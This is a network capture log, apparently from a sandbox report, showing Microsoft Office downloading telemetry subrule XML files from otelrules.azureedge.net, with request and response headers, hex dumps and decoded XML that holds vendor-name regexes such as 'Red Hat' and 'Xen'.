Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:16 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071816Z-16849878b78smng4k6nq15r6s4000000065g00000000b0pe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:16 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:16 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071816Z-16849878b78wc6ln1zsrz6q9w8000000049000000000fcm8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:16 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:16 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:16 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071816Z-16849878b78p8hrf1se7fucxk800000005e000000000kreu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:16 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:16 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: fe6c1954-001e-0082-5f6d-285880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071816Z-17c5cb586f6z6tw6g7cmdv30m800000005wg0000000039f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:18 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:18 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071818Z-15b8d89586f2hk28h0h6zye26c000000077g000000001s6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:18 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071818Z-16849878b78sx229w7g7at4nkg00000002w000000000d54p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:18 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dbd91de3-001e-002b-2827-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071818Z-17c5cb586f62blg5ss55p9d6fn000000059g000000001kqc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:18 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:18 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071818Z-15b8d89586fxdh48qknu9dqk2g00000008mg0000000075h1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:18 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:18 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071818Z-16849878b786fl7gm2qg4r5y7000000004z00000000087x6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:18 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:19 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071819Z-16849878b78sx229w7g7at4nkg00000002w000000000d55x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:19 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:18 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:19 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: c32be80d-501e-0016-5c05-27181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071819Z-17c5cb586f626sn8grcgm1gf80000000035g000000005022 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:19 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:19 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:19 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071819Z-16849878b785jrf8dn0d2rczaw00000005t000000000e85z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:19 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" 